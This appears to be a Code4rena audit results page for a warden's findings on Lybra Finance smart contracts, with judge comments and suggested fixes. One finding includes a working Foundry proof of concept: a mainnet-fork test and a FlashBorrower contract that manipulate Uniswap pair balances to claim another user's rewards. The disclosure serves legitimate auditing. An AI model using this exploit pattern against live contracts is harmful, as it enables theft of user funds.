Platform: Code4rena
Start Date: 23/06/2023
Pot Size: $60,500 USDC
Total HM: 31
Participants: 132
Period: 10 days
Judge: 0xean
Total Solo HM: 10
Id: 254
League: ETH
Rank: 5/132
Findings: 4
Award: $1,988.60
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: turvy_fuzz
Also found by: SpicyMeatball
1666.6782 USDC - $1,666.68
In rigidRedemption
function we check if borrowed amount of the provider is greater than or equal to peusdAmount
that a user wants to repay. But we forget about the fact that a user's debt consists of his minted PEUSD tokens and a fee,
thus it is possible that the debt of the provider is bigger than amount in borrowed[provider]
mapping.
Let's say Alice is the provider, she minted 10000 PEUSD tokens and her debt is 10000 + 100 fees, bob wants to fully redeem her debt and calls rigidRedemption(alice, 10100)
. Unfortunately require check won't allow this because borrowed[alice] = 10000 < 10100
Manual review
Use getBorrowedOf
instead of borrowed
Invalid Validation
#0 - c4-pre-sort
2023-07-11T19:14:24Z
JeffCX marked the issue as duplicate of #723
#1 - c4-judge
2023-07-28T15:23:17Z
0xean marked the issue as satisfactory
#2 - c4-judge
2023-07-28T19:44:56Z
0xean changed the severity to 3 (High Risk)
🌟 Selected for report: georgypetrov
Also found by: CrypticShepherd, DelerRH, Kenshin, LuchoLeonel1, SpicyMeatball, bart1e, ktg, pep7siup
53.1445 USDC - $53.14
https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/configuration/LybraConfigurator.sol#L199 https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L323 https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L265
In LybraConfigurator.sol
there is a function which allows an admin to set a safe collateral ratio for a given pool. Unfortunately it will revert on call because function vaultType()
doesn't exist (uncallable because it's not declared as public) in either PEUSD or EUSD vaults, instead we have getVaultType()
.
What makes it worse is that default value for vaultBadCollateralRatio
is set as vaultSafeCollateralRatio[pool] - 1e9
which will result in underflow, so we have to explicitly set the safe collateral ratio on deployment.
https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/configuration/LybraConfigurator.sol#L199 https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L18 https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L265
Manual review
Either use getVaultType()
in configurator or make vaultType
public in pools
DoS
#0 - c4-pre-sort
2023-07-08T18:34:00Z
JeffCX marked the issue as duplicate of #882
#1 - c4-judge
2023-07-28T15:36:29Z
0xean marked the issue as satisfactory
#2 - c4-judge
2023-07-28T19:43:23Z
0xean changed the severity to 2 (Med Risk)
🌟 Selected for report: hl_
Also found by: 0xRobocop, Co0nan, CrypticShepherd, DedOhWale, Iurii3, Kenshin, Musaka, OMEN, RedOneN, SpicyMeatball, Toshii, Vagner, bytes032, cccz, gs8nrv, hl_, kenta, lanrebayode77, mahdikarimi, max10afternoon, peanuts, pep7siup
5.5262 USDC - $5.53
https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L196-L198 https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L202 https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L206
When a user chooses to repay/burn his PeUSD tokens he calls the burn
function where he specifies amount
of tokens he wishes to repay/burn
then internal _repay
function is called, we take the summary debt of the user borrowed[user] + totalFee
, where totalFee
is interest accumulated over time.
after that amount
value is subtracted from both totalFee
and borrowed[user]
which is wrong because after subtracting amount
from totalFee we should subtract amount - totalFee
from borrowed[user]
if amount > totalFee
or do nothing if amount <= totalFee
.
Logic here is that we repay fees with our amount
and then the debt with what is left. Let's say
In the current contract we can repay 110 tokens debt with 100 PEUSD tokens which I believe is not right.
Custom test for a PeUSD vault
// SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.8.17; import {DSTestPlus} from "solmate/test/utils/DSTestPlus.sol"; import {LybraWstETHVault as Vault} from "../contracts/lybra/pools/LybraWstETHVault.sol"; import {PeUSDMainnet as PeUSD} from "../contracts/lybra/token/PeUSDMainnetStableVision.sol"; import {EUSD} from "../contracts/lybra/token/EUSD.sol"; import {Configurator} from "../contracts/lybra/configuration/LybraConfigurator.sol"; import {EUSDMiningIncentives as Miner} from "../contracts/lybra/miner/EUSDMiningIncentives.sol"; import {esLBRBoost as Boost} from "../contracts/lybra/miner/esLBRBoost.sol"; import {stETHMock} from "../contracts/mocks/stETHMock.sol"; import {WstETH, IStETH} from "../contracts/mocks/mockWstETH.sol"; import {mockCurve} from "../contracts/mocks/mockCurve.sol"; import {mockEtherPriceOracle} from "../contracts/mocks/mockEtherPriceOracle.sol"; import {mockLBRPriceOracle} from "../contracts/mocks/mockLBRPriceOracle.sol"; import "forge-std/console.sol"; contract DAO { function checkRole(bytes32, address) external pure returns(bool) { return true; } function checkOnlyRole(bytes32, address) external pure returns(bool) { return true; } } contract Oracle { uint256 price; function setPrice(uint256 _price) external { price = _price; } function fetchPrice() external view returns(uint256) { return price; } } contract LybraPEUSDPoolTest is DSTestPlus { Vault vault; PeUSD peusd; EUSD eusd; Configurator config; Boost boost; Miner miner; stETHMock stETH; WstETH wstETH; mockCurve curve; Oracle oracle; DAO dao; mockEtherPriceOracle ethOracle; mockLBRPriceOracle lbrOracle; address[] pools; address alice = hevm.addr(111); address bob = hevm.addr(222); function setUp() public { stETH = new stETHMock(); wstETH = new WstETH(IStETH(address(stETH))); curve = new mockCurve(); oracle = new Oracle(); ethOracle = new mockEtherPriceOracle(); lbrOracle = new mockLBRPriceOracle(); dao = new DAO(); config = new Configurator(address(dao), address(curve)); eusd = new EUSD(address(config)); peusd = new PeUSD(address(config), 18, hevm.addr(123)); vault = new Vault(address(stETH), address(peusd), address(oracle), address(wstETH), address(config)); pools.push(address(vault)); config.setMintVault(address(vault), true); config.initToken(address(eusd), address(peusd)); oracle.setPrice(1800 * 1e18); boost = new Boost(); miner = new Miner(address(config), address(boost), address(ethOracle), address(lbrOracle)); miner.setPools(pools); config.setMintVaultMaxSupply(address(vault), 10_000_000 * 1e18); config.setBorrowApy(address(vault), 200); config.setSafeCollateralRatio(address(vault), 160 * 1e18); config.setBadCollateralRatio(address(vault), 150 * 1e18); config.setEUSDMiningIncentives(address(miner)); wstETH.approve(address(vault), ~uint256(0)); } function testVaultBasic() public { uint256 mintAmount = 1800*60*1e18; wstETH.claim(); vault.depositAssetToMint(100*1e18, mintAmount); // wait for fee to accumulate hevm.warp(30 days); uint256 totalDebtBefore = vault.getBorrowedOf(address(this)); uint256 totalFeeBefore = totalDebtBefore - mintAmount; vault.burn(address(this), mintAmount); uint256 totalDebtAfter = vault.getBorrowedOf(address(this)); uint256 totalDebtAfterExpected = totalDebtBefore - mintAmount; assertEq(totalDebtAfter, totalDebtAfterExpected); } }
Foundry, forge and solmate libs
We should probably only update borrowed[user]
if amount > totalFee
, so ifelse block in _repay
may look like this
if(amount >= totalFee) { feeStored[_onBehalfOf] = 0; PeUSD.transferFrom(_provider, address(configurator), totalFee); PeUSD.burn(_provider, amount - totalFee); try configurator.distributeRewards() {} catch {} borrowed[_onBehalfOf] -= amount - totalFee; } else { feeStored[_onBehalfOf] = totalFee - amount; PeUSD.transferFrom(_provider, address(configurator), amount); } poolTotalPeUSDCirculation -= amount; emit Burn(_provider, _onBehalfOf, amount, block.timestamp);
Math
#0 - c4-pre-sort
2023-07-10T20:51:19Z
JeffCX marked the issue as duplicate of #532
#1 - c4-judge
2023-07-28T15:39:40Z
0xean marked the issue as satisfactory
#2 - c4-judge
2023-07-28T19:41:44Z
0xean changed the severity to 2 (Med Risk)
🌟 Selected for report: SpicyMeatball
263.2518 USDC - $263.25
https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/miner/EUSDMiningIncentives.sol#L153-L154 https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/miner/EUSDMiningIncentives.sol#L189 https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/miner/EUSDMiningIncentives.sol#L193 https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/miner/EUSDMiningIncentives.sol#L203
Malicious user can manipulate balances of the WETH/LBR pair and bypass this check
which allows him to steal rewards from a user who has staked enough LP and whose rewards shouldn't be claimable under normal circumstances.
EUSDMiningIncentives.sol
is a staking contract which distributes rewards to users based on how much EUSD they have minted/borrowed. Rewards are accumulated over time and can be claimed only if a user has staked enough WETH/LBR uniswap pair LP tokens into another staking
https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/miner/stakerewardV2pool.sol
This condition is checked here
As we can see stakedLBRLpValue
of a user is calculated based on how much LP he has staked and the total cost of the tokens that are stored inside the WETH/LBR pair
total cost however is simply derived from the sum of the tokens balances, which we get with balanceOf(pair)
, this can be exploited.
isOtherEarningsClaimable(alice)
returns false, that means she is safelbrInLp + etherInLp
purchaseOtherEarnings
and takes reward of the AliceCustom test
// SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.8.17; import {DSTestPlus} from "solmate/test/utils/DSTestPlus.sol"; import {LybraStETHDepositVault as Vault} from "../contracts/lybra/pools/LybraStETHVault.sol"; import {PeUSDMainnet as PeUSD} from "../contracts/lybra/token/PeUSDMainnetStableVision.sol"; import {EUSD, IERC20} from "../contracts/lybra/token/EUSD.sol"; import {Configurator} from "../contracts/lybra/configuration/LybraConfigurator.sol"; import {EUSDMiningIncentives as Miner} from "../contracts/lybra/miner/EUSDMiningIncentives.sol"; import {StakingRewardsV2} from "../contracts/lybra/miner/stakerewardV2pool.sol"; import {esLBRBoost as Boost} from "../contracts/lybra/miner/esLBRBoost.sol"; import {stETHMock} from "../contracts/mocks/stETHMock.sol"; import {WstETH, IStETH} from "../contracts/mocks/mockWstETH.sol"; import {mockCurve} from "../contracts/mocks/mockCurve.sol"; import {mockEtherPriceOracle} from "../contracts/mocks/mockEtherPriceOracle.sol"; import {mockLBRPriceOracle} from "../contracts/mocks/mockLBRPriceOracle.sol"; import "forge-std/console.sol"; import "forge-std/Test.sol"; import "./FlashBorrower.sol"; contract DAO { function checkRole(bytes32, address) external pure returns(bool) { return true; } function checkOnlyRole(bytes32, address) external pure returns(bool) { return true; } } contract Oracle { uint256 price; function setPrice(uint256 _price) external { price = _price; } function fetchPrice() external view returns(uint256) { return price; } } contract ESLBRMock { function mint(address, uint256) external returns(bool){ return true; } function burn(address, uint256) external returns(bool){ return true; } } contract LybraEUSDPoolTest is Test{ Vault vault; PeUSD peusd; EUSD eusd; Configurator config; Boost boost; Miner miner; StakingRewardsV2 stakingReward; stETHMock stETH; WstETH wstETH; ESLBRMock eslbr; mockCurve curve; Oracle oracle; DAO dao; mockEtherPriceOracle ethOracle; mockLBRPriceOracle lbrOracle; address[] pools; address alice = makeAddr("alice"); address bob = makeAddr("bob"); IV2Router router; IV2Pair v2Pair; // WETH/LBR IWETH WETH; IERC20 LBR; function setUp() public { vm.createSelectFork(vm.envString("RPC_MAINNET_URL"), 17592869); router = IV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); v2Pair = IV2Pair(0x061883CD8a060eF5B8d83cDe362C3Fdbd8162EeE); WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); LBR = IERC20(0xF1182229B71E79E504b1d2bF076C15a277311e05); stETH = new stETHMock(); wstETH = new WstETH(IStETH(address(stETH))); eslbr = new ESLBRMock(); curve = new mockCurve(); oracle = new Oracle(); ethOracle = new mockEtherPriceOracle(); lbrOracle = new mockLBRPriceOracle(); dao = new DAO(); config = new Configurator(address(dao), address(curve)); eusd = new EUSD(address(config)); peusd = new PeUSD(address(config), 18, makeAddr("LZ")); config.initToken(address(eusd), address(peusd)); vault = new Vault(address(config), address(stETH), address(oracle)); pools.push(address(vault)); config.setMintVault(address(vault), true); oracle.setPrice(1800 * 1e18); boost = new Boost(); miner = new Miner(address(config), address(boost), address(ethOracle), address(lbrOracle)); stakingReward = new StakingRewardsV2(address(v2Pair), address(eslbr), address(boost)); miner.setEthlbrStakeInfo(address(stakingReward), address(v2Pair)); miner.setPools(pools); miner.setToken(address(LBR), address(eslbr)); config.setMintVaultMaxSupply(address(vault), 10_000_000 * 1e18); config.setSafeCollateralRatio(address(vault), 160 * 1e18); config.setBadCollateralRatio(address(vault), 150 * 1e18); config.setEUSDMiningIncentives(address(miner)); stETH.approve(address(vault), ~uint256(0)); vm.deal(alice, 10 ether); stETH.transfer(alice, 500 ether); } function swapAndLiquify(address who, uint256 amount, address[] memory path) internal { // get WETH and LBR, purchase and stake LP tokens vm.startPrank(who); WETH.deposit{value: amount}(); WETH.approve(address(router), ~uint256(0)); LBR.approve(address(router), ~uint256(0)); v2Pair.approve(address(stakingReward), ~uint256(0)); router.swapExactTokensForTokens(amount/2, 0, path, who, block.timestamp); router.addLiquidity(address(WETH), address(LBR), amount/2, (amount * 1000)/2, 1, 1, who, block.timestamp); console.log(v2Pair.balanceOf(who)); stakingReward.stake(v2Pair.balanceOf(who)); vm.stopPrank(); } function testFlashLoanAttack() public { uint256 mintAmount = 1800*60*1e18; address[] memory path = new address[](2); path[0] = address(WETH); path[1] = address(LBR); // PREP THE ATTACK // Alice has borrowed 540_000 EUSD and staked 126 LP tokens vault.depositAssetToMint(100*1e18, mintAmount); swapAndLiquify(address(this), 0.8 ether, path); vm.startPrank(alice); stETH.approve(address(vault), ~uint256(0)); vault.depositAssetToMint(500*1e18, mintAmount * 5); vm.stopPrank(); swapAndLiquify(alice, 10 ether, path); assertEq(miner.isOtherEarningsClaimable(address(this)), true); assertEq(miner.isOtherEarningsClaimable(alice), false); // COMMENCE THE ATTACK FlashBorrower flashBorrower = new FlashBorrower(WETH, LBR, miner, stakingReward, v2Pair, router, alice); WETH.approve(address(flashBorrower), ~uint256(0)); LBR.approve(address(flashBorrower), ~uint256(0)); // Get some tokens to repay flash swap fees WETH.deposit{value: 6 ether}(); router.swapExactTokensForTokens(3 ether, 0, path, address(this), block.timestamp); WETH.transfer(address(flashBorrower), 1000); LBR.transfer(address(flashBorrower), 1000); // Drain tokens from the pair and manipulate {stakedLBRLpValue} to pass this check and claim rewards from the target // https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/miner/EUSDMiningIncentives.sol#L193 flashBorrower.flash(800 ether, 800000 ether); } }
FlashBorrower contract, notice the require check where we check if target user reward is claimable
// SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.8.17; import {EUSDMiningIncentives as Miner} from "../contracts/lybra/miner/EUSDMiningIncentives.sol"; import {StakingRewardsV2} from "../contracts/lybra/miner/stakerewardV2pool.sol"; import {IERC20} from "../contracts/lybra/token/EUSD.sol"; import "forge-std/console.sol"; interface IV2Pair is IERC20 { function factory() external view returns(address); function swap( uint amount0Out, uint amount1Out, address to, bytes calldata data ) external; } interface IV2Router { function factory() external view returns(address); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); } interface IWETH is IERC20 { function deposit() external payable; function withdraw(uint amount) external; } contract FlashBorrower { IWETH token0; IERC20 token1; Miner miner; StakingRewardsV2 staking; IV2Pair v2Pair; IV2Router v2Router; address target; constructor( IWETH _token0, IERC20 _token1, Miner _miner, StakingRewardsV2 _staking, IV2Pair _v2Pair, IV2Router _v2Router, address _target ) { token0 = _token0; token1 = _token1; miner = _miner; staking = _staking; v2Pair = _v2Pair; v2Router = _v2Router; target = _target; token0.approve(address(v2Router), ~uint256(0)); token1.approve(address(v2Router), ~uint256(0)); v2Pair.approve(address(v2Router), ~uint256(0)); } function uniswapV2Call( address sender, uint256 amount0, uint256 amount1, bytes calldata data ) external { address caller = abi.decode(data, (address)); require(miner.isOtherEarningsClaimable(target), "CAN'T GRAB TARGET'S REWARD"); // Repay borrow uint256 fee0 = (amount0 * 3) / 997 + 1; uint256 fee1 = (amount1 * 3) / 997 + 1; uint256 amountToRepay0 = amount0 + fee0; uint256 amountToRepay1 = amount1 + fee1; // Transfer flash swap fee from caller token0.transferFrom(caller, address(this), fee0); token1.transferFrom(caller, address(this), fee1); // Repay token0.transfer(address(v2Pair), amountToRepay0); token1.transfer(address(v2Pair), amountToRepay1); } function flash(uint256 amount0, uint256 amount1) public { bytes memory data = abi.encode(msg.sender); v2Pair.swap(amount0, amount1, address(this), data); } }
Forge I forked the ETH mainnet at the block 17592869 also following mainnet contracts were used Uniswap V2 router (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), WETH/LBR uniswap pair (0x061883CD8a060eF5B8d83cDe362C3Fdbd8162EeE), WETH token (0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2), LBR token (0xF1182229B71E79E504b1d2bF076C15a277311e05)
Use ethlbrLpToken.getReserves()
instead of quoting balances directly with balanceOf
(uint112 r0, uint112 r1, ) = ethlbrLpToken.getReserves() uint256 etherInLp = (r0 * uint(etherPrice)) / 1e8; uint256 lbrInLp = (r1 * uint(lbrPrice)) / 1e8;
Uniswap
#0 - c4-pre-sort
2023-07-10T20:34:29Z
JeffCX marked the issue as primary issue
#1 - LybraFinance
2023-07-14T09:37:11Z
The real price will be obtained through Chainlink oracles instead of the exchange rate in the LP, and it will not be manipulated by flash loans.
#2 - c4-sponsor
2023-07-14T09:37:19Z
LybraFinance marked the issue as sponsor disputed
#3 - 0xean
2023-07-25T23:52:41Z
@LybraFinance - I think this qualifies as M. Are you suggesting that in the future the price will be pull from chainlink? if so the wardens are reviewing the code base as written, not future changes to include a different price discovery mechanism and therefore I think this is valid.
#4 - c4-judge
2023-07-25T23:53:21Z
0xean changed the severity to 2 (Med Risk)
#5 - c4-sponsor
2023-07-27T08:17:20Z
LybraFinance marked the issue as sponsor acknowledged
#6 - c4-judge
2023-07-28T15:41:56Z
0xean marked the issue as satisfactory
#7 - c4-judge
2023-07-28T20:39:57Z
0xean marked the issue as selected for report